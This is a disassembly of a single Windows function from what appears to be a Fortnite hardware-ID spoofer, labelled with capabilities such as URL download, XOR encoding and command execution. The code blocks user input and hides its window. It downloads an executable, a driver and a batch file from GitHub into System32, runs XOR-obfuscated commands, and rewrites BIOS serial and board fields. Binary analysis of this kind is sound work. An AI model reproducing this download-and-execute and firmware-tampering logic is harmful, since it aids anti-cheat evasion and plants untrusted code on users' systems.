Function at 0x140022cb0
Capabilities:
Download url
Encode data using xor
Execute command
Hide graphical window
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x108]
sub rsp, 0x1f0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x1400cd0c0]
xor rax, rsp
mov qword [rbp + 0xd0], rax
mov edi, ecx
xor r12d, r12d
lea ecx, [r12 + 1]
call qword [sym.imp.USER32.dll_BlockInput]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
lea edx, [r12 + 5]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14001d9f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea r8d, [r12 + 0x1b]
lea rdx, str._n_n_Initializing_spoofer...
lea rcx, [rsp + 0x38]
call fcn.14001c620
mov dword [rsp + 0x58], reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14001def0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140022da0
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022d9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400234d8
call fcn.14009bff0
cmp edi, 5
jne 0x140022ded
lea rdx, [0x14001da20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, rax
lea rdx, str._n_n_FORTNITE_SPECIAL
lea rcx, [rsp + 0x38]
call fcn.14001c580
mov dword [rsp + 0x58], reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14001def0
nop
lea rcx, [rsp + 0x38]
call fcn.14001c520
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.PXF6]
mov dword [rsp + 0x34], eax
mov esi, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400ba573], 0
je 0x140022ed0
cmp esi, 2
jl 0x140022e98
movdqa xmm3, xmmword [0x1400bd5b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400bd840]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400bd840]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400bd600]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400bd660]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400bd710]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
jmp 0x140022ed0
lea r9, [rsp + 0x34]
mov r8d, r12d
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140022ea0
lea rcx, [rsp + 0x34]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14001da50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:WindowsSystem32AMIDEWINx64.EXE
lea rdx, str.https:__github.com_Modztw_spoofer_raw_main_AMIDEWINx64.EXE
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv64.sys
lea rdx, str.https:__github.com_Modztw_spoofer_raw_main_amifldrv64.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:WindowsSystem32mac.bat
lea rdx, str.https:__github.com_Modztw_spoofer_raw_main_mac.bat
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14001d9f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str._n_n_Changing_Mac_Adress...
lea rcx, [rsp + 0x38]
call fcn.14001c620
mov dword [rsp + 0x58], reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14001def0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140023000
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022ffb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400234d8
call fcn.14009bff0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.PXF6]
mov dword [rsp + 0x34], eax
cmp byte [0x1400ba573], 0
je 0x1400230f0
cmp esi, 2
jl 0x1400230a9
movdqa xmm3, xmmword [0x1400bd5b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400bd840]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400bd840]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400bd600]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400bd660]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400bd710]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
jmp 0x1400230f0
lea r9, [rsp + 0x34]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400230c0
lea rcx, [rsp + 0x34]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14001da50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x1400ba8d8]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x1400ba8e8]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x1400ba8f0]
mov dword [rbp - 0x58], eax
cmp byte [0x1400ba8f3], 0
je 0x1400232d0
mov r8d, r12d
cmp esi, 2
jl 0x140023295
movdqa xmm5, xmmword [0x1400bd5b0]
movdqa xmm4, xmmword [0x1400bd840]
movdqa xmm6, xmmword [0x1400bd600]
movdqa xmm0, xmmword [0x1400bd710]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rbp - 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400bd660]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400bd660]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140023190
cmp r8d, 0x1c
jge 0x1400232d0
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x1400232a0
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, Ordinal_41
mov dword [rsp + 0x38], eax
movdqa xmm0, xmmword [0x1400bd690]
movdqu xmmword [rsp + 0x3c], xmm0
movdqa xmm1, xmmword [0x1400bd870]
movdqu xmmword [rsp + 0x4c], xmm1
mov dword [rsp + 0x5c], 0x80b0434
mov dword [rsp + 0x60], 0x1b0f0f42
mov byte [rsp + 0x64], reloc.WS2_32.dll_WSASetLastError
xor ecx, ecx
mov word [rsp + 0x65], cx
mov byte [rsp + 0x67], cl
mov edx, r12d
test eax, eax
je 0x140023349
nop word [rax + rax]
mov eax, edx
lea rcx, [rsp + 0x3c]
add rcx, rax
lea eax, [rdx + 0x48]
xor byte [rcx], al
inc edx
mov eax, dword [rsp + 0x38]
cmp edx, eax
jb 0x140023330
mov byte [rsp + rax + 0x3c], 0
lea rcx, [rsp + 0x3c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [str.PXF6]
mov dword [rsp + 0x34], eax
cmp byte [0x1400ba573], 0
je 0x140023430
cmp esi, 2
jl 0x1400233f3
movdqa xmm3, xmmword [0x1400bd5b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400bd840]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400bd840]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400bd600]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400bd660]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400bd710]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
jmp 0x140023430
lea r9, [rsp + 0x34]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140023400
lea rcx, [rsp + 0x34]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14001d9f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov r8d, Ordinal_26
lea rdx, str._n_n_Spoofing_your_HWID...
lea rcx, [rsp + 0x38]
call fcn.14001c620
mov dword [rsp + 0x58], reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14001def0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1400234e4
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400234df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400234df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14001da50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x90], 0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb0], 0
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__SM
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x140023589
lea rdx, str.ASUSTek_COMPUTER_INC.
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x1400235ac
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x140023639
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__BM
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x140023651
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__BM
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x14002366b
lea rdx, str.ASUSTek_COMPUTER_INC.
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x14002368e
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x14002371b
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__BP
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x140023733
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__BP
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x14002374d
lea rdx, str.A520M_HDV
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140023770
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x1400237fd
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__SS
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x140023815
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__SS
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x14002382f
lea rdx, str.Default_string
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140023852
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x1400238df
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__SK
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x1400238f7
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__SK
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x140023911
lea rdx, str.Default_string
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140023934
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x1400239c1
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__BS
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x1400239d9
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__BS
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
lea rcx, [rsp + 0x38]
cmp edi, 5
jne 0x1400239ea
call fcn.14001ec00
jmp 0x1400239ef
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x29
jb 0x140023a95
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], reloc.WLDAP32.dll_Ordinal_41
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__PSN
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x29], 0
jmp 0x140023aad
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__PSN
mov edx, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x140023ac7
lea rdx, str.To_Be_Filled_By_O.E.M.
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140023aea
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x29
jb 0x140023b77
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], reloc.WLDAP32.dll_Ordinal_41
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__BLC
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x29], 0
jmp 0x140023b8f
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__BLC
mov edx, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x140023ba9
lea rdx, str.Default_string
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140023bcc
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x140023c59
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__BT
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x140023c71
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__BT
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x140023c8b
lea rdx, str.Default_string
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140023cae
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.14003e390
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0xa8]
cmp rax, 0x28
jb 0x140023d3b
lea rbx, [rbp + 0x90]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x90]
mov qword [rbp + 0xa0], Ordinal_46
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSystem32AMIDEWINx64.EXE__CS
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
jmp 0x140023d53
lea r9, str.C:WindowsSystem32AMIDEWINx64.EXE__CS
mov edx, Ordinal_41
lea rcx, [rbp + 0x90]
call fcn.14001ccf0
cmp edi, 5
jne 0x140023d6d
lea rdx, str.Default_string
lea rcx, [rbp + 0xb0]
call fcn.14001cb70
jmp 0x140023d90
lea rcx, [rsp + 0x38]
call fcn.14001e840
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001cbf0
lea rcx, [rsp + 0x38]
call fcn.14001c520
lea rdx, [rbp + 0xb0]
